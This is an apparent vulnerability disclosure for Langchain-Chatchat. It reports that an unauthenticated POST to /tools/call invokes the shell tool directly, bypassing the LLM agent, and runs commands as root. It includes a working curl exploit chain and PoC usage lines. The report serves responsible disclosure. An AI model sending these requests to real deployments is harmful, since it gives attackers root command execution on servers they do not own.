【Security Vulnerability Report】CWE-78 /tools/call endpoint shell tool direct RCE (CVSS 9.8)

Author: Jiecub3Created Sep 28, 2026Updated Sep 28, 2026

Security Vulnerability Report -- CWE-78

Summary

/tools/call endpoint shell tool direct RCE

Vulnerability Description

Affected Repository: https://github.com/chatchat-space/Langchain-Chatchat Branch: master Commit: 49165d6af4438aa7e8a1f71ce276db55f4405151


/tools/call Endpoint Shell Tool Direct RCE

  • Risk Summary: An attacker directly passes {"name":"shell","tool_input":{"query":"<command>"}} via POST /tools/call to bypass the LLM Agent and invoke the shell tool, executing arbitrary system commands with root privileges. The service defaults to binding 0.0.0.0:7861 with no authentication, and the shell tool is registered by default with no disable option.

  • Affected Interface:

    • POST /tools/call (port 7861)
  • Exploitation Conditions: Exploitable with default configuration, no authentication, no prerequisites

  • Known Status: Unknown: No CVE, public article, Issue, or security community discussion found regarding Langchain-Chatchat's /tools/call endpoint directly calling the shell tool RCE path

  • Exploit PoC:

Usage:

bash
./poc/exploit_entry_004_tools_call_rce.sh <target> <command>
./poc/exploit_entry_004_tools_call_rce.sh http://127.0.0.1:7861 "id"

Exploitation chain step by step:

bash
# Step 1: POST /tools/call to directly invoke shell tool (bypass LLM Agent, subprocess executes command)
curl -s -X POST http://127.0.0.1:7861/tools/call \
  -H "Content-Type: application/json" \
  -d '{"name":"shell","tool_input":{"query":"id > /tmp/entry004_marker.txt"}}'
# Expected: HTTP 500 (BaseToolOutput serialization bug, but command already executed)

# Step 2: Read back command output (local docker exec / remote /v1/files)
docker exec chatchat-local cat /tmp/entry004_marker.txt
# Expected: uid=0(root) gid=0(root) groups=0(root)  <- root privilege confirmed

Severity

CVSS v3.1: 9.8 (Critical)

Vulnerability Category: CWE-78

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

Source: chatchat-space/Langchain-Chatchat